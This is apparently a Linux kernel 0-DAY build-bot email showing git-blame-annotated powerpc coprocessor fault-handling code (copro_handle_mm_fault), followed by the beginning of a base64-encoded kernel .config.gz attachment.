e83d01697 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08   36  int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
7c71e54a4 arch/powerpc/mm/copro_fault.c           Souptick Joarder   2018-06-15   37  		unsigned long dsisr, vm_fault_t *flt)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   38  {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   39  	struct vm_area_struct *vma;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   40  	unsigned long is_write;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   41  	int ret;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   42  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   43  	if (mm == NULL)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   44  		return -EFAULT;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   45  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   46  	if (mm->pgd == NULL)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   47  		return -EFAULT;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   48  
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   49  	down_read(&mm->mmap_sem);
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   50  	ret = -EFAULT;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   51  	vma = find_vma(mm, ea);
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   52  	if (!vma)
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   53  		goto out_unlock;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   54  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   55  	if (ea < vma->vm_start) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   56  		if (!(vma->vm_flags & VM_GROWSDOWN))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   57  			goto out_unlock;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   58  		if (expand_stack(vma, ea))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   59  			goto out_unlock;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   60  	}
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   61  
e83d01697 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08   62  	is_write = dsisr & DSISR_ISSTORE;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   63  	if (is_write) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   64  		if (!(vma->vm_flags & VM_WRITE))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   65  			goto out_unlock;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   66  	} else {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   67  		if (!(vma->vm_flags & (VM_READ | VM_EXEC)))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   68  			goto out_unlock;
842915f56 arch/powerpc/mm/copro_fault.c           Mel Gorman         2015-02-12   69  		/*
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   70  		 * PROT_NONE is covered by the VMA check above.
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   71  		 * and hash should get a NOHPTE fault instead of
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   72  		 * a PROTFAULT in case fixup is needed for things
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   73  		 * like autonuma.
842915f56 arch/powerpc/mm/copro_fault.c           Mel Gorman         2015-02-12   74  		 */
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   75  		if (!radix_enabled())
842915f56 arch/powerpc/mm/copro_fault.c           Mel Gorman         2015-02-12   76  			WARN_ON_ONCE(dsisr & DSISR_PROTFAULT);
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   77  	}
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   78  
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   79  	ret = 0;
dcddffd41 arch/powerpc/mm/copro_fault.c           Kirill A. Shutemov 2016-07-26   80  	*flt = handle_mm_fault(vma, ea, is_write ? FAULT_FLAG_WRITE : 0);
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   81  	if (unlikely(*flt & VM_FAULT_ERROR)) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   82  		if (*flt & VM_FAULT_OOM) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   83  			ret = -ENOMEM;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   84  			goto out_unlock;
33692f275 arch/powerpc/mm/copro_fault.c           Linus Torvalds     2015-01-29   85  		} else if (*flt & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV)) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   86  			ret = -EFAULT;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   87  			goto out_unlock;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   88  		}
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   89  		BUG();
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   90  	}
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   91  
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   92  	if (*flt & VM_FAULT_MAJOR)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   93  		current->maj_flt++;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   94  	else
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   95  		current->min_flt++;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   96  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   97  out_unlock:
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   98  	up_read(&mm->mmap_sem);
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   99  	return ret;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20  100  }
e83d01697 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08 @101  EXPORT_SYMBOL_GPL(copro_handle_mm_fault);
73d16a6e0 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08  102  

:::::: The code at line 101 was first introduced by commit
:::::: e83d01697583d8610d1d62279758c2a881e3396f powerpc/cell: Move spu_handle_mm_fault() out of cell platform

:::::: TO: Ian Munsie <imunsie-8fk3Idey6ehBDgjK7y7TUQ@public.gmane.org>
:::::: CC: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--IS0zKkzwUGydFO0o
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
